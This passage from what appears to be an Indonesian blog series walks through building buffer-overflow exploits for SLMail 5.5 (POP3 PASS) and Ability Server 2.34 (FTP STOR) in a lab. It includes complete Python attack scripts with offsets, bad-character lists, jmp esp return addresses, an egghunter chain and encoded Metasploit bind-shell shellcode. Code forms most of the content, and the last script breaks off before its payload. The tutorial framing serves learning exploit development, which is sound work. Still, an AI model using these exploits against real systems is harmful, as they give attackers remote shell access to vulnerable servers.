"\xf2\x3e\xb0\x3d\x63\xc0\x6b\x86\x9d\x30\xa1\x13\x09\xeb\x50"
"\x5e\x57\x0c\x8f\x9d\x6e\x8f\x25\x5e\x95\x8f\x4c\x5b\xd1\x17"
"\xbd\x11\x4a\xf2\xc1\x86\x6b\xd7")

command = shellcode
command += "\x90" * (offsets['NXT'] - len(shellcode)) # nop sleed
command += "\xeb\x06\x90\x90" # jmp short 6 bytes
command += "\xde\x56\x04\x60" # salah satu alamat memory POP POP RETN
command += "\x90" * 8 # nop sleed
command += egghunter
command += "\x90" * (80-len(egghunter))
command += "}"
fuzz(command)
Selanjutnya kita perhatikan apakah script kita sudah berhasil masuk di memory, dengan menggunakan immunity, ternyata lengkap sudah script nya masuk ke memory, tinggal uji coba mendapatkan shell nya

Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:



Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Selasa, 08 April 2014

Experimen BoF Ke-7

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows XP SP3 ( sebagai korban )
- Immunity Debugger
- aplikasi SLMail55_4433.exe, untuk software nya bisa di googling ya :D
- contoh penampakan software SLMail55_4433.exe


- sedikit pemahaman tentang python di perlukan :D
- software SLMail di debug menggunakan immunity, dg cara di attach,
- jika crash, start service nya dari menu services di windows



Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 3000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = "10.7.9.246"
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

command = "A" * 3000
fuzz(command)
 Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 3000, sekarang kita akan membuat pattern string sebanyak 3000 juga, dengan menggunakan cara yang sama di eksperimen sebelumnya ;)


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

command = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
fuzz(command)
Perhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110

def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

offsets = {
      'EIP':2606,
      'ESP':2610
}

command = "A" * (offsets['EIP'])
command += "B" * 4 # berikut nya akan di isi alamat jmp esp shell32.dll
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Dan ternyata EIP berhasil kita ubah value nya.

Kemudian kita cari alamat memory yang berisi "jmp esp" di file shell32.dll, seperti pada gambar berikut:

Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00\x0a\x0d" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.246'
port = 110


def fuzz(payload):
      s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
      s.connect((host, port))
      s.send('USER cool\r\n')
      print s.recv(1024)
      s.send('PASS ' + payload + '\r\n')
      print s.recv(1024)
      s.send('QUIT\r\n')
      print s.recv(1024)
      s.shutdown
      s.close

offsets = {
      'EIP':2606,
      'ESP':2610
}

command = "A" * (offsets['EIP'])
command += "\x4b\x77\xa6\x7c" # jmp esp shell32.dll
command += "\x90" * 20 # nop sleed 20x
command += ("\xd9\xcd\xd9\x74\x24\xf4\x58\x29\xc9\xb1\x56\xba\x74\xc7\x99"
"\x98\x83\xc0\x04\x31\x50\x14\x03\x50\x60\x25\x6c\x64\x60\x20"
"\x8f\x95\x70\x53\x19\x70\x41\x41\x7d\xf0\xf3\x55\xf5\x54\xff"
"\x1e\x5b\x4d\x74\x52\x74\x62\x3d\xd9\xa2\x4d\xbe\xef\x6a\x01"
"\x7c\x71\x17\x58\x50\x51\x26\x93\xa5\x90\x6f\xce\x45\xc0\x38"
"\x84\xf7\xf5\x4d\xd8\xcb\xf4\x81\x56\x73\x8f\xa4\xa9\x07\x25"
"\xa6\xf9\xb7\x32\xe0\xe1\xbc\x1d\xd1\x10\x11\x7e\x2d\x5a\x1e"
"\xb5\xc5\x5d\xf6\x87\x26\x6c\x36\x4b\x19\x40\xbb\x95\x5d\x67"
"\x23\xe0\x95\x9b\xde\xf3\x6d\xe1\x04\x71\x70\x41\xcf\x21\x50"
"\x73\x1c\xb7\x13\x7f\xe9\xb3\x7c\x9c\xec\x10\xf7\x98\x65\x97"
"\xd8\x28\x3d\xbc\xfc\x71\xe6\xdd\xa5\xdf\x49\xe1\xb6\xb8\x36"
"\x47\xbc\x2b\x23\xf1\x9f\x23\x80\xcc\x1f\xb4\x8e\x47\x53\x86"
"\x11\xfc\xfb\xaa\xda\xda\xfc\xcd\xf1\x9b\x93\x33\xf9\xdb\xba"
"\xf7\xad\x8b\xd4\xde\xcd\x47\x25\xde\x18\xc7\x75\x70\xf2\xa8"
"\x25\x30\xa2\x40\x2c\xbf\x9d\x71\x4f\x15\xa8\xb5\x81\x4d\xf9"
"\x51\xe0\x71\xec\xfd\x6d\x97\x64\xee\x3b\x0f\x10\xcc\x1f\x98"
"\x87\x2f\x4a\xb4\x10\xb8\xc2\xd2\xa6\xc7\xd2\xf0\x85\x64\x7a"
"\x93\x5d\x67\xbf\x82\x62\xa2\x97\xcd\x5b\x25\x6d\xa0\x2e\xd7"
"\x72\xe9\xd8\x74\xe0\x76\x18\xf2\x19\x21\x4f\x53\xef\x38\x05"
"\x49\x56\x93\x3b\x90\x0e\xdc\xff\x4f\xf3\xe3\xfe\x02\x4f\xc0"
"\x10\xdb\x50\x4c\x44\xb3\x06\x1a\x32\x75\xf1\xec\xec\x2f\xae"
"\xa6\x78\xa9\x9c\x78\xfe\xb6\xc8\x0e\x1e\x06\xa5\x56\x21\xa7"
"\x21\x5f\x5a\xd5\xd1\xa0\xb1\x5d\xef\x51\x0b\x48\x78\xc8\xfe"
"\x31\xe4\xeb\xd5\x76\x11\x68\xdf\x06\xe6\x70\xaa\x03\xa2\x36"
"\x47\x7e\xbb\xd2\x67\x2d\xbc\xf6")
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, dan ternyata kita berhasil mendapatkan shellnya, berikut uji coba nya:


Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Senin, 07 April 2014

Experimen BoF Ke-6

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi Ability Server.exe v2.34, yg bisa di download di sini
- contoh penampakan software Ability Server.exe v2.34


- sedikit pemahaman tentang python di perlukan :D
- pastikan sudah membuat user dan password dummy untuk uji coba ini, berikut ini penampakan nya


Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 2000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = "10.7.9.248"
port = 21

# create an array of buffers, from 2 to 2000, with inc of 20
buffer = ["A"]
counter = 20

while len(buffer) <= 30 :
      buffer.append("A" * counter)
      counter = counter + 100

# define the ftp commands to be fuzzed
commands = ["MKD","CWD","STOR"]

# run the fuzzing loop
for command in commands:
      for string in buffer:
            print "Sending command " + command + " with " + str(len(string)) + " bytes"
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            connect = s.connect((host, port))
            s.recv(1024)
            s.send('USER ftp\r\n') # login procedure
            s.recv(1024)
            s.send('PASS ftp\r\n')
            s.recv(1024)
            s.send(command + ' ' + string + '\r\n') # evil buffer
            s.recv(1024)
            s.send('QUIT\r\n')
            s.close()

Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 2000, sekarang kita akan membuat pattern string sebanyak 2000 juga, seperti pada gambar di bawah ini :


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 21

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Perhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 21

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close


offsets = {
        'EIP':969,
        'ESP':989
}

print "Attacking {0}:{1} ...".format(host, port)
buffer = "A" * (offsets["EIP"])
buffer += "B" * 4 # berikut nya di isi nilai jmp esp di user32.dll
buffer += "C" * 16 # di isi 989 - 969 - 4 = 16
buffer += "\90" * 16
buffer += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
buffer += "D" * 1050
command = "USER ftp\r\n"
command += "PASS ftp\r\n"
command += "STOR " + buffer + "\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00 \x09 \x0a \x0d", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Dan ternyata EIP berhasil kita ubah value nya.

Kemudian kita cari alamat memory yang berisi "jmp esp" di file user32.dll, seperti pada gambar berikut:

Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "\x00 \x09 \x0a \x0d" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 22


def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

offsets = {
        'EIP':969,
        'ESP':989
}
print "Attacking {0}:{1} ...".format(host, port)
buffer = "A" * (offsets["EIP"])
buffer += "\x53\x6d\x9c\x76"
buffer += "C" * 16 # di isi 989 - 969 - 4 = 16
buffer += "\x90" * 16 # nop sleed 16x
